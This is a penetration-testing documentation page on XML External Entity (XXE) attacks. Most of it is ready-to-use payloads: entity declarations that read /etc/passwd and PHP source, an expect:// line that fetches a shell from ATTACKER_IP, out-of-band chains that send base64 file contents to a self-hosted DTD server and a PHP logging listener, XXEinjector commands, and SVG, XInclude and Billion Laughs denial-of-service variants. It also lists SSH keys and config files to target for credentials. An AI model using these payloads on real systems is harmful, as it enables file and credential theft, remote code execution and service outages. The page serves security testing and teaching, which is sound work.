> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# XXE (XML External Entity)

XML lets a document define its own custom placeholders, called entities, and point one of them at an external resource instead of a fixed string. If an application parses XML you control and its parser has external entity resolution turned on, you can define an entity that points at a local file, an internal URL, or a remote Document Type Definition (DTD), and the parser will fetch it for you.

> **In-Band XXE**
>
> The file/URL content gets reflected directly into the application's response. Easiest to confirm and exploit.

> **Blind / Out-of-Band XXE**
>
> No output comes back. Confirm and exfiltrate via a  Document Type Definition (DTD) hosted on your own server and a callback you control instead.

***

## How It Works

The core trick: declare an entity in a `DOCTYPE`, then reference it anywhere in the document body. The parser resolves the entity before handing the document to the application, so whatever you pointed it at gets included in as if it were always part of the XML.

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
<root>
  <name>First</name>
  <tel></tel>
  <email>&company;</email>
  <message>Test</message>
</root>
```

> [!TIP]
>
> An endpoint that only accepts JSON isn't necessarily safe from this, if the same data could plausibly be submitted as XML (many frameworks accept both via content negotiation), try switching `Content-Type` to `application/xml` and converting your JSON body to an equivalent XML structure. [convertjson.com](https://www.convertjson.com/json-to-xml.htm) does the conversion quickly if you want a starting XML shape to work from.

Beyond local file read, the `SYSTEM` identifier accepts other protocols/wrappers, each useful for a different goal.

```text theme={null}
SYSTEM "file:///etc/passwd"                                        # local file read
SYSTEM "file://index.php"                                          # local file read, relative-style path
SYSTEM "php://filter/convert.base64-encode/resource=index.php"     # base64-encode the file first, avoids content that breaks XML parsing
SYSTEM "expect://curl$IFS-O$IFS'ATTACKER_IP:PORT/shell.php'"       # RCE, only works if the expect extension is available
```

> [!NOTE]
>
> `php://filter` matters more than it looks: a file containing raw binary data, null bytes, or characters that aren't valid XML/UTF-8 will break the parser or truncate the output if read directly.

***

## Advanced: CDATA Wrapping

The content of the reflected file is sometimes still escaped or otherwise corrupted by the application after the XML parser has processed it. By embedding the result in a `CDATA` section, any subsequent processing is instructed to treat it as a raw literal block instead, which often preserves content that would otherwise be corrupted or truncated.

```xml theme={null}
# Wrap the data in <![CDATA[ Tag to escape restricitons
<!DOCTYPE email [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>
```

This only works with regular (general) entities, which can't reference each other across an external file the way parameter entities can. To combine CDATA wrapping with an externally hosted DTD (needed for the blind techniques below), use parameter entities (the `%` prefix) instead, which are evaluated inside the DTD itself rather than the document body.

```bash theme={null}
# Put this in an xxe.dtd file
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
```

```xml theme={null}
# then reference to a custom xxe.dtd file
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %xxe;
]>
<email>&joined;</email>
```

***

## Error-Based XXE

When the application reflects parser errors but not actual content, deliberately triggering an error that includes the file's content as part of the (invalid) entity reference leaks it through the error message instead.

```xml theme={null}
# Put this in an xxe.dtd file
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM 'FILE_DOES_NOT_EXIST/%file;'>">
```

```bash theme={null}
# start the webserver
python3 -m http.server 8000
```

```xml theme={null}
# then reference to a custom xxe.dtd file 
<!DOCTYPE email [
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>
```

The malformed path (file content appended to a path that can't possibly resolve) forces the parser to throw an error, and that error message includes the file content you injected into it.

***

## Out-of-Band (Blind) Exfiltration

When there's no visible output and no useful error either, the last option is making the target server reach out to you directly, carrying the file's content along in the request.

**1. Write the external DTD file**

```dtd theme={null}
# Put this in an xxe.dtd file
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
```

**2. Serve the DTD file**

```bash theme={null}
python3 -m http.server 8000
```

**3. Stand up a listener to catch the exfiltrated data**

A second listener (different port) logs whatever comes back in the `content` parameter.

```php theme={null}
<?php
if (isset($_GET['content'])) {
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
```

```bash theme={null}
php -S 0.0.0.0:8000
```

**4. Submit the payload referencing your hosted DTD**

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>
```

***

## Automated Exfiltration with XXEinjector

For repeated or multi-file extraction, automating the OOB chain above saves a lot of manual DTD-writing.

```bash theme={null}
git clone https://github.com/enjoiz/XXEinjector.git
```

Capture the vulnerable request from Burp, save it to a file, and mark the injection point with the literal string `XXEINJECT` in place of the XML body.

```text theme={null}
POST /blind/submitDetails.php HTTP/1.1
Host: TARGET_IP
Content-Type: text/plain;charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
```

```bash theme={null}
ruby XXEinjector.rb --host=YOUR_IP --httpport=8000 --file=xxe.req --path=/etc/passwd --oob=http --phpfilter
```

```bash theme={null}
cat Logs/TARGET_IP/etc/passwd.log
```

***

## SVG-Based XXE

SVG is XML under the hood, so any upload feature accepting SVG images is a potential XXE vector, worth testing alongside standard file-upload bypasses (see [File Upload Attacks](https://0-x.dev/file-upload-attacks.md)).

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```

for a base64 encoded payload use this in the `<!DOCTYPE svg` tag

```xml theme={null}
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```

***

## Denial of Service: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs_attack)

Each entity references the previous one ten times over, so by the tenth layer, a few dozen bytes of definitions expand into billions of repetitions in memory, exhausting the server before any content is even returned. Not useful for data extraction, but worth knowing as a DoS vector if availability testing is in scope.

```xml theme={null}
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  <!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
  <!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
  <!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
  <!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
  <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
```

***

## When DOCTYPE Is Blocked

> **XInclude as a DOCTYPE-free alternative**
>
> Some applications block or strip `<!DOCTYPE` from the input before parsing, but still parse the resulting XML with an engine that supports `XInclude`, which achieves a similar file-read result without ever declaring a DOCTYPE at all. Useful specifically when your input lands inside an existing XML document (so you can't control the DOCTYPE) rather than being the entire document yourself.
>
> ```xml theme={null}
> <foo xmlns:xi="http://www.w3.org/2001/XInclude">
>   <xi:include parse="text" href="file:///etc/passwd"/>
> </foo>
> ```

> **Common hardening targets worth checking first**
>
> `/etc/passwd`, `/etc/hosts`, and `/proc/self/environ` are the standard confirmation targets, but once XXE is confirmed, also worth checking: `~/.ssh/id_rsa`, application config files (`.env`, `web.config`, `wp-config.php`) for credentials.

***

## Quick Reference Tools

> **[Hackviser: XXE](https://hackviser.com/tactics/pentesting/web/xxe)**
>
> Reference used for this page.

> **[HackTricks: XXE](https://hacktricks.wiki/en/pentesting-web/xxe-xee-xml-external-entity.html)**
>
> Deeper dive into additional bypasses and content-based evasion.

> **[convertjson.com](https://www.convertjson.com/json-to-xml.htm)**
>
> Quick JSON-to-XML conversion for testing XML on JSON-only endpoints.

> **[XXEinjector](https://github.com/enjoiz/XXEinjector)**
>
> Automates blind/OOB XXE exfiltration from a captured request.

> **[OXML\_XXE](https://github.com/BuffaloWill/oxml_xxe)**
>
> Injects XXE payloads into Office/OpenXML document formats (docx, xlsx).

> [!WARNING]
>
> XXE routinely escalates into local file read, SSRF against internal infrastructure, or full RCE via `expect://`. Confirm scope explicitly before moving past a basic `/etc/passwd` read into exfiltration or internal network probing.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.